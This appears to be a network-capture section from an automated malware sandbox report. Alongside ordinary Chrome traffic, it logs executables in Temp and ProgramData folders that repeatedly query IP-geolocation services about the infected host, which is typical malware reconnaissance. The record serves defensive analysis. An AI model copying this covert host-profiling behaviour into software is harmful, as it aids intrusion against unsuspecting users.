2024-04-18 21:40:20 UTC	1850	IN	Data Raw: 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 68 7d 29 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 67 7d 3b 76 61 72 20 63 3d 22 6a 73 63 6f 6d 70 5f 73 79 6d 62 6f 6c 5f 22 2b 28 31 45 39 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3e 3e 3e 30 29 2b 22 5f 22 2c 64 3d 30 2c 65 3d 66 75 6e 63 74 69 6f 6e 28 66 29 7b 69 66 28 74 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 65 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 62 22 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 62 28 63 2b 28 66 7c 7c 22 22 29 2b 22 5f 22 2b 64 2b 2b 2c 66 29 7d 3b 72 65 74 75 72 6e 20 65 7d 29 3b 0a 45 28 22 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 Data Ascii: e:!0,writable:!0,value:h})};b.prototype.toString=function(){return this.g};var c="jscomp_symbol_"+(1E9*Math.random()>>>0)+"_",d=0,e=function(f){if(this instanceof e)throw new TypeError("b");return new b(c+(f\|\|"")+"_"+d++,f)};return e});E("Symbol.iterator
2024-04-18 21:40:20 UTC	1850	IN	Data Raw: 63 74 2e 69 73 45 78 74 65 6e 73 69 62 6c 65 28 6d 29 26 26 64 28 6d 29 3b 72 65 74 75 72 6e 20 6c 28 6d 29 7d 29 7d 69 66 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 61 7c 7c 21 4f 62 6a 65 63 74 2e 73 65 61 6c 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 6b 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 7d 29 2c 6c 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 7d 29 2c 6d 3d 6e 65 77 20 61 28 5b 5b 6b 2c 32 5d 2c 5b 6c 2c 33 5d 5d 29 3b 69 66 28 32 21 3d 6d 2e 67 65 74 28 6b 29 7c 7c 33 21 3d 6d 2e 67 65 74 28 6c 29 29 72 65 74 75 72 6e 21 31 3b 6d 2e 64 65 6c 65 74 65 28 6b 29 3b 6d 2e 73 65 74 28 6c 2c 34 29 3b 72 65 74 75 72 6e 21 6d 2e 68 61 73 28 6b 29 26 26 34 3d 3d 6d 2e 67 65 74 28 6c 29 7d 63 61 74 63 68 28 72 29 7b 72 65 74 75 72 6e 21 31 Data Ascii: ct.isExtensible(m)&&d(m);return l(m)})}if(function(){if(!a\|\|!Object.seal)return!1;try{var k=Object.seal({}),l=Object.seal({}),m=new a([[k,2],[l,3]]);if(2!=m.get(k)\|\|3!=m.get(l))return!1;m.delete(k);m.set(l,4);return!m.has(k)&&4==m.get(l)}catch(r){return!1
2024-04-18 21:40:20 UTC	1850	IN	Data Raw: 65 61 64 3d 0a 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 75 3d 66 28 29 3b 74 68 69 73 2e 73 69 7a 65 3d 30 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 3d 66 75 6e 63 74 69 6f 6e 28 67 29 7b 72 65 74 75 72 6e 21 21 64 28 74 68 69 73 2c 67 29 2e 6c 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 67 29 7b 72 65 74 75 72 6e 28 67 3d 64 28 74 68 69 73 2c 67 29 2e 6c 29 26 26 67 2e 76 61 6c 75 65 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 74 72 69 65 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 28 74 Data Ascii: ead=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].u=f();this.size=0};c.prototype.has=function(g){return!!d(this,g).l};c.prototype.get=function(g){return(g=d(this,g).l)&&g.value};c.prototype.entries=function(){return e(t
2024-04-18 21:40:20 UTC	1850	IN	Data Raw: 63 29 7b 72 65 74 75 72 6e 20 62 3d 3d 3d 63 3f 30 21 3d 3d 62 7c 7c 31 2f 62 3d 3d 3d 31 2f 63 3a 62 21 3d 3d 62 26 26 63 21 3d 3d 63 7d 7d 29 3b 45 28 22 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 63 6c 75 64 65 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 74 68 69 73 3b 64 20 69 6e 73 74 61 6e 63 65 6f 66 20 53 74 72 69 6e 67 26 26 28 64 3d 53 74 72 69 6e 67 28 64 29 29 3b 76 61 72 20 65 3d 64 2e 6c 65 6e 67 74 68 3b 63 3d 63 7c 7c 30 3b 66 6f 72 28 30 3e 63 26 26 28 63 3d 4d 61 74 68 2e 6d 61 78 28 63 2b 65 2c 30 29 29 3b 63 3c 65 3b 63 2b 2b 29 7b 76 61 72 20 66 3d 64 5b 63 5d 3b 69 66 28 66 3d 3d 3d 62 7c 7c 4f 62 6a 65 63 74 2e 69 73 28 66 2c 62 Data Ascii: c){return b===c?0!==b\|\|1/b===1/c:b!==b&&c!==c}});E("Array.prototype.includes",function(a){return a?a:function(b,c){var d=this;d instanceof String&&(d=String(d));var e=d.length;c=c\|\|0;for(0>c&&(c=Math.max(c+e,0));c<e;c++){var f=d[c];if(f===b\|\|Object.is(f,b
2024-04-18 21:40:20 UTC	1850	IN	Data Raw: 76 61 72 20 22 2b 61 5b 30 5d 29 3b 66 6f 72 28 76 61 72 20 64 3b 61 2e 6c 65 6e 67 74 68 26 26 28 64 3d 61 2e 73 68 69 66 74 28 29 29 3b 29 61 2e 6c 65 6e 67 74 68 7c 7c 76 6f 69 64 20 30 3d 3d 3d 62 3f 63 5b 64 5d 26 26 63 5b 64 5d 21 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 5b 64 5d 3f 63 3d 63 5b 64 5d 3a 63 3d 63 5b 64 5d 3d 7b 7d 3a 63 5b 64 5d 3d 62 7d 2c 49 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 7d 63 2e 70 72 6f 74 6f 74 79 70 65 3d 62 2e 70 72 6f 74 6f 74 79 70 65 3b 61 2e 41 3d 62 2e 70 72 6f 74 6f 74 79 70 65 3b 61 2e 70 72 6f 74 6f 74 79 70 65 3d 6e 65 77 20 63 3b 61 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 61 3b 61 2e 65 61 3d 66 75 6e 63 74 69 6f 6e 28 64 Data Ascii: var "+a[0]);for(var d;a.length&&(d=a.shift());)a.length\|\|void 0===b?c[d]&&c[d]!==Object.prototype[d]?c=c[d]:c=c[d]={}:c[d]=b},I=function(a,b){function c(){}c.prototype=b.prototype;a.A=b.prototype;a.prototype=new c;a.prototype.constructor=a;a.ea=function(d
2024-04-18 21:40:20 UTC	1850	IN	Data Raw: 61 6d 65 3a 61 2e 66 69 6c 65 4e 61 6d 65 2c 73 74 61 63 6b 3a 62 7d 3a 28 63 3d 61 2e 6d 65 73 73 61 67 65 2c 6e 75 6c 6c 3d 3d 63 26 26 28 63 3d 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 26 26 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 6e 73 74 61 6e 63 65 6f 66 20 46 75 6e 63 74 69 6f 6e 3f 27 55 6e 6b 6e 6f 77 6e 20 45 72 72 6f 72 20 6f 66 20 74 79 70 65 20 22 27 2b 28 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 6e 61 6d 65 3f 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 6e 61 6d 65 3a 74 62 28 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 29 2b 27 22 27 3a 22 55 6e 6b 6e 6f 77 6e 20 45 72 72 6f 72 20 6f 66 20 75 6e 6b 6e 6f 77 6e 20 74 79 70 65 22 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 61 2e 74 6f 53 74 72 69 6e 67 26 26 4f 62 6a 65 63 Data Ascii: ame:a.fileName,stack:b}:(c=a.message,null==c&&(c=a.constructor&&a.constructor instanceof Function?'Unknown Error of type "'+(a.constructor.name?a.constructor.name:tb(a.constructor))+'"':"Unknown Error of unknown type","function"===typeof a.toString&&Objec

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49763	64.233.176.103	443	2488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:40:21 UTC	1025	OUT	GET /favicon.ico HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:40:22 UTC	706	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 5430 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 18 Apr 2024 09:07:01 GMT Expires: Fri, 26 Apr 2024 09:07:01 GMT Cache-Control: public, max-age=691200 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT Content-Type: image/x-icon Vary: Accept-Encoding Age: 45200 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-18 21:40:22 UTC	549	IN	Data Raw: 00 00 01 00 02 00 10 10 00 00 01 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 30 fd fd fd 96 fd fd fd d8 fd fd fd f9 fd fd fd f9 fd fd fd d7 fd fd fd 94 fe fe fe 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd 99 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 95 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd c1 ff ff ff ff fa fd f9 ff b4 d9 a7 ff 76 ba 5d ff 58 ab 3a ff 58 aa 3a ff 72 b8 59 ff ac d5 9d ff f8 fb f6 ff ff Data Ascii: h& ( 0.v]X:X:rY
2024-04-18 21:40:22 UTC	1255	IN	Data Raw: ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f7 a6 75 ff ff ff ff ff fd fd fd f9 fd fd fd fa ff ff ff ff 0b be fb ff 05 bc fb ff b6 ec fe ff ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f7 aa 7b ff ff ff ff ff fd fd fd f9 fd fd fd db ff ff ff ff 35 c9 fc ff 0a b2 f9 ff 6b a4 f6 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d8 fd fd fd 99 ff ff ff ff 92 cf fb ff 37 52 ec ff 38 46 ea ff d0 d4 fa ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 96 fe fe fe 32 ff ff ff ff f9 f9 fe ff 56 62 ed ff 35 43 ea ff 3b 49 Data Ascii: BBBBBuBBBBB{5k7R8F2Vb5C;I
2024-04-18 21:40:22 UTC	1255	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd e8 fe fe fe 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 24 fd fd fd ea ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff eb f5 e7 ff 8f c6 7b ff 54 a9 36 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 7e be 67 ff dd ee d7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd e8 ff ff ff 22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd d3 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff c4 e1 b9 ff 5c ac 3e ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 Data Ascii: /${T6S4S4S4S4S4S4S4S4S4~g"\>S4S4S4S4S4S4S4S4S4S4S4S
2024-04-18 21:40:22 UTC	1255	IN	Data Raw: ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff fa c8 aa ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd ea fd fd fd fa ff ff ff ff ff ff ff ff ff ff ff ff 07 bd fb ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 7d dc fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f9 c1 9f ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd f9 fd fd fd fa ff ff ff ff ff ff ff ff ff ff ff ff 07 bd fb ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 7d dc fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: BBBBBBBBBBB}BBBBBBBBBBB}
2024-04-18 21:40:22 UTC	1116	IN	Data Raw: 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 81 8a f2 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 0b fd fd fd d5 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff b5 ba f7 ff 3e 4b eb ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 3f 4c eb ff ba bf f8 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d2 fe fe fe 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 26 fd fd fd eb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: 5C5C5C5C5C5C5C5C5C5C5C5C5C5C>K5C5C5C5C5C5C5C5C5C5C5C5C?L&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49802	34.117.186.192	443	5804	C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:40:25 UTC	237	OUT	GET /widget/demo/81.181.57.52 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: ipinfo.io
2024-04-18 21:40:25 UTC	513	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Thu, 18 Apr 2024 21:40:25 GMT content-type: application/json; charset=utf-8 Content-Length: 980 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 3 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-18 21:40:25 UTC	742	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 31 2e 31 38 31 2e 35 37 2e 35 32 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 31 2e 31 38 31 2e 35 37 2e 35 32 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 41 74 6c 61 6e 74 61 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 47 65 6f 72 67 69 61 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 33 33 2e 37 34 39 30 2c 2d 38 34 2e 33 38 38 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 0a 20 20 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 33 30 33 30 32 22 2c 0a 20 20 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 41 6d 65 72 69 63 61 2f Data Ascii: { "input": "81.181.57.52", "data": { "ip": "81.181.57.52", "city": "Atlanta", "region": "Georgia", "country": "US", "loc": "33.7490,-84.3880", "org": "AS212238 Datacamp Limited", "postal": "30302", "timezone": "America/
2024-04-18 21:40:25 UTC	238	IN	Data Raw: 61 64 64 72 65 73 73 22 3a 20 22 41 76 65 72 65 73 63 75 20 4d 61 72 65 73 61 6c 20 38 2d 31 30 2c 20 42 75 63 68 61 72 65 73 74 2c 20 52 6f 6d 61 6e 69 61 22 2c 0a 20 20 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 52 4f 22 2c 0a 20 20 20 20 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 2d 62 69 6e 62 6f 78 40 72 6e 63 2e 72 6f 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 41 62 75 73 65 20 63 6f 6e 74 61 63 74 20 72 6f 6c 65 20 6f 62 6a 65 63 74 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 31 2e 31 38 31 2e 34 38 2e 30 2f 32 30 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 34 30 20 33 37 38 20 36 30 30 20 30 30 30 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: address": "Averescu Maresal 8-10, Bucharest, Romania", "country": "RO", "email": "abuse-binbox@rnc.ro", "name": "Abuse contact role object", "network": "81.181.48.0/20", "phone": "+40 378 600 000" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49804	104.26.5.15	443	5804	C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:40:25 UTC	261	OUT	GET /demo/home.php?s=81.181.57.52 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: db-ip.com
2024-04-18 21:40:25 UTC	648	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:40:25 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: 6CA2EE25:3DDC_93878F2E:0050_66219349_8C0A080:4F34 x-iplb-instance: 59215 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Fbuyd71GgiRJp0WUKJTmlMReKS3YboAVoWIC7P2qm1Vy7Jp4VSbWeODjev3Ck2btlrlYW6MMm5Ul5BcM7uhR3IDtm7jaOTyGk5RFt03gVcnmLb5wtm5jIbXksg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8767d02d78e2507e-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:40:25 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-04-18 21:40:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49815	34.117.186.192	443	4584	C:\ProgramData\MPGPH131\MPGPH131.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:40:29 UTC	237	OUT	GET /widget/demo/81.181.57.52 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: ipinfo.io
2024-04-18 21:40:29 UTC	513	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Thu, 18 Apr 2024 21:40:29 GMT content-type: application/json; charset=utf-8 Content-Length: 980 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-18 21:40:29 UTC	742	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 31 2e 31 38 31 2e 35 37 2e 35 32 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 31 2e 31 38 31 2e 35 37 2e 35 32 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 41 74 6c 61 6e 74 61 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 47 65 6f 72 67 69 61 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 33 33 2e 37 34 39 30 2c 2d 38 34 2e 33 38 38 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 0a 20 20 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 33 30 33 30 32 22 2c 0a 20 20 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 41 6d 65 72 69 63 61 2f Data Ascii: { "input": "81.181.57.52", "data": { "ip": "81.181.57.52", "city": "Atlanta", "region": "Georgia", "country": "US", "loc": "33.7490,-84.3880", "org": "AS212238 Datacamp Limited", "postal": "30302", "timezone": "America/
2024-04-18 21:40:29 UTC	238	IN	Data Raw: 61 64 64 72 65 73 73 22 3a 20 22 41 76 65 72 65 73 63 75 20 4d 61 72 65 73 61 6c 20 38 2d 31 30 2c 20 42 75 63 68 61 72 65 73 74 2c 20 52 6f 6d 61 6e 69 61 22 2c 0a 20 20 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 52 4f 22 2c 0a 20 20 20 20 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 2d 62 69 6e 62 6f 78 40 72 6e 63 2e 72 6f 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 41 62 75 73 65 20 63 6f 6e 74 61 63 74 20 72 6f 6c 65 20 6f 62 6a 65 63 74 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 31 2e 31 38 31 2e 34 38 2e 30 2f 32 30 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 34 30 20 33 37 38 20 36 30 30 20 30 30 30 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: address": "Averescu Maresal 8-10, Bucharest, Romania", "country": "RO", "email": "abuse-binbox@rnc.ro", "name": "Abuse contact role object", "network": "81.181.48.0/20", "phone": "+40 378 600 000" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49816	34.117.186.192	443	5236	C:\ProgramData\MPGPH131\MPGPH131.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:40:29 UTC	237	OUT	GET /widget/demo/81.181.57.52 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: ipinfo.io
2024-04-18 21:40:29 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Thu, 18 Apr 2024 21:40:29 GMT content-type: application/json; charset=utf-8 Content-Length: 980 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 73 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-18 21:40:29 UTC	741	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 31 2e 31 38 31 2e 35 37 2e 35 32 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 31 2e 31 38 31 2e 35 37 2e 35 32 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 41 74 6c 61 6e 74 61 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 47 65 6f 72 67 69 61 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 33 33 2e 37 34 39 30 2c 2d 38 34 2e 33 38 38 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 0a 20 20 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 33 30 33 30 32 22 2c 0a 20 20 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 41 6d 65 72 69 63 61 2f Data Ascii: { "input": "81.181.57.52", "data": { "ip": "81.181.57.52", "city": "Atlanta", "region": "Georgia", 